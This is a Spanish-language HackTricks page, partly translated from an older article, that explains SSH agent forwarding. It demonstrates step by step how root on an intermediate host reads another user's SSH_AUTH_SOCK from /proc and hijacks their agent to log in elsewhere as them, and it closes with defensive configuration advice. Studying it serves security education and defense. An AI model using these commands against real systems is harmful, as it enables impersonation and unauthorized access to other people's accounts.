hacktricks/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md
carlospolop 466ebcbb16 f
2023-06-05 20:30:03 +02:00

12 KiB

Resumen

¿Qué puedes hacer si descubres dentro de la configuración /etc/ssh_config o dentro de $HOME/.ssh/config lo siguiente:

ForwardAgent yes

Si eres root dentro de la máquina, probablemente puedas acceder a cualquier conexión ssh realizada por cualquier agente que encuentres en el directorio /tmp.

Suplantar a Bob usando uno de los ssh-agent de Bob:

SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston

¿Por qué funciona esto?

Cuando se establece la variable SSH_AUTH_SOCK, se accede a las claves de Bob que se han utilizado en la conexión ssh de Bob. Entonces, si su clave privada todavía está allí (normalmente lo estará), podrás acceder a cualquier host usándola.

Como la clave privada se guarda en la memoria del agente sin cifrar, supongo que si eres Bob pero no conoces la contraseña de la clave privada, aún puedes acceder al agente y usarlo.

Otra opción es que el usuario propietario del agente y root puedan acceder a la memoria del agente y extraer la clave privada.

Explicación detallada y explotación

Tomado de: https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/

Cuando ForwardAgent no puede ser confiado

SSH sin contraseñas hace que la vida con sistemas operativos similares a Unix sea mucho más fácil. Si tu red requiere sesiones ssh encadenadas (para acceder a una red restringida, por ejemplo), el reenvío de agente se vuelve extremadamente útil. Con el reenvío de agente, es posible que me conecte desde mi portátil a mi servidor de desarrollo y desde allí ejecute una comprobación de salida svn desde otro servidor, todo sin contraseñas, mientras mantengo mi clave privada segura en mi estación de trabajo local.

Sin embargo, esto puede ser peligroso. Una rápida búsqueda en la web revelará varios artículos que indican que esto solo es seguro si los hosts intermedios son confiables. Raramente, sin embargo, encontrarás una explicación de por qué es peligroso.

Para eso es este artículo. Pero primero, algo de antecedentes.

Cómo funciona la autenticación sin contraseña

Cuando se autentica en modo normal, SSH utiliza tu contraseña para demostrar que eres quien dices ser. El servidor compara un hash de esta contraseña con uno que tiene en el archivo, verifica que los hashes coinciden y te deja entrar.

Si un atacante es capaz de romper la encriptación utilizada para proteger tu contraseña mientras se envía al servidor, puede robarla e iniciar sesión como tú cuando lo desee. Si se permite a un atacante realizar cientos de miles de intentos, eventualmente puede adivinar tu contraseña.

Un método de autenticación mucho más seguro es la autenticación de clave pública, una forma de iniciar sesión sin una contraseña. La autenticación de clave pública requiere un par de claves públicas y privadas coincidentes. La clave pública cifra mensajes que solo pueden ser descifrados con la clave privada. El ordenador remoto utiliza su copia de tu clave pública para cifrar un mensaje secreto para ti. Demuestras que eres tú descifrando el mensaje usando tu clave privada y enviando el mensaje de vuelta al ordenador remoto. Tu clave privada permanece segura en tu ordenador local todo el tiempo, a salvo de ataques.

La clave privada es valiosa y debe ser protegida, por lo que por defecto se almacena en un formato cifrado. Desafortunadamente, esto significa ingresar tu frase de cifrado antes de usarla. Muchos artículos sugieren usar claves privadas sin frase de cifrado (sin cifrar) para evitar esta inconveniencia. Eso es una mala idea, ya que cualquier persona con acceso a tu estación de trabajo (a través de acceso físico, robo o hackeo) ahora también tiene acceso gratuito a cualquier ordenador configurado con tu clave pública.

OpenSSH incluye ssh-agent, un daemon que se ejecuta en tu estación de trabajo local. Carga una copia descifrada de tu clave privada en la memoria, por lo que solo tienes que ingresar tu frase de cifrado una vez. Luego proporciona un socket local que el cliente ssh puede usar para pedirle que descifre el mensaje cifrado enviado por el servidor remoto. Tu clave privada permanece segura en la memoria del proceso ssh-agent mientras te permite ssh alrededor sin escribir contraseñas.

Cómo funciona ForwardAgent

Muchas tareas requieren sesiones ssh "encadenadas". Considera mi ejemplo anterior: me conecto desde mi estación de trabajo al servidor de desarrollo. Mientras estoy allí, necesito realizar una actualización svn, usando el protocolo "svn+ssh". Dado que sería absurdo dejar una copia sin cifrar de mi clave privada súper secreta en un servidor compartido, ahora estoy atrapado con la autenticación de contraseña. Si, sin embargo, habilito "ForwardAgent" en la configuración ssh de mi estación de trabajo, ssh utiliza sus capacidades de túnel incorporadas para crear otro socket en el servidor de desarrollo que se tuneliza de vuelta al socket ssh-agent en mi estación de trabajo local. Esto significa que el cliente ssh en el servidor de desarrollo ahora puede enviar solicitudes de "descifrar este mensaje secreto" directamente de vuelta al ssh-agent que se ejecuta en mi estación de trabajo, autenticándose a sí mismo en el servidor svn sin tener acceso a mi clave privada.

Por qué esto puede ser peligroso

En pocas palabras, cualquier persona con privilegios de root en el servidor intermedio puede hacer uso gratuito de tu ssh-agent para autenticarse en otros servidores. Una simple demostración muestra lo trivial que puede ser esto. Los nombres de host y de usuario han sido cambiados para proteger a los inocentes.

Mi portátil está ejecutando ssh-agent, que se comunica con los programas cliente ssh a través de un socket. La ruta a este socket se almacena en la variable de entorno SSH_AUTH_SOCK:

mylaptop:~ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners

mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
srwx------  1 alice  wheel  0 Apr  3 11:04 /tmp/launch-oQKpeY/Listeners

El programa ssh-add nos permite ver e interactuar con las claves en el agente:

mylaptop:~ alice$ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)

Tengo "ForwardAgent yes" en el archivo ~/.ssh/config de mi portátil. Por lo tanto, ssh va a crear un túnel conectando el socket local a un socket local en el servidor remoto:

mylaptop:~ alice$ ssh seattle

seattle:~ $ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990

Aunque mis claves no están instaladas en "seattle", los programas cliente de ssh aún pueden acceder al agente que se está ejecutando en mi máquina local:

seattle:~ alice $ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)

Entonces... ¿con quién podemos meternos?

seattle:~ alice $ who
alice   pts/0        2012-04-06 18:24 (office.example.com)
bob     pts/1        2012-04-03 01:29 (office.example.com)
alice   pts/3        2012-04-06 18:31 (office.example.com)
alice   pts/5        2012-04-06 18:31 (office.example.com)
alice   pts/6        2012-04-06 18:33 (office.example.com)
charlie pts/23       2012-04-06 13:10 (office.example.com)
charlie pts/27       2012-04-03 12:32 (office.example.com)
bob     pts/29       2012-04-02 10:58 (office.example.com)

Nunca me ha gustado Bob. Para encontrar su conexión de agente, necesito encontrar el proceso hijo de una de sus sesiones ssh:

seattle:~ alice $ sudo -s
[sudo] password for alice:

seattle:~ root # pstree -p bob
sshd(16816)───bash(16817)

sshd(25296)───bash(25297)───vim(14308)

Hay varias formas para que root pueda ver el entorno de un proceso en ejecución. En Linux, los datos están disponibles en /proc/<pid>/environ. Como están almacenados en cadenas terminadas en NULL, usaré tr para convertir los NULLs en saltos de línea:

seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816

Ahora tengo todo lo que necesito saber para secuestrar el ssh-agent de Bob:

seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)

Si tengo un objetivo específico en mente, ahora debería poder conectarme directamente. De lo contrario, simplemente observar la lista de procesos o buscar en el archivo de historial de Bob debería presentar muchos objetivos de oportunidad. En este caso, sé que Bob tiene todo tipo de archivos súper secretos almacenados en el servidor llamado "boston":

seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
bob@boston:~$ whoami
bob

He logrado utilizar mis privilegios de root en "Seattle" para acceder como Bob en "Boston". Apuesto a que puedo usar esto para despedirlo.

¡Protégete!

No permitas que tu ssh-agent almacene tus claves indefinidamente. En OS X, configura tu Keychain para que se bloquee después de un período de inactividad o cuando la pantalla se bloquea. En otras plataformas Unix, pasa la opción -t a ssh-agent para que sus claves se eliminen después de segundos.

No habilites el reenvío de agentes al conectarte a hosts no confiables. Afortunadamente, la sintaxis de ~/.ssh/config hace que esto sea bastante simple:

Host trustworthyhost
  ForwardAgent yes
Host *
  ForwardAgent no

Lectura recomendada

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥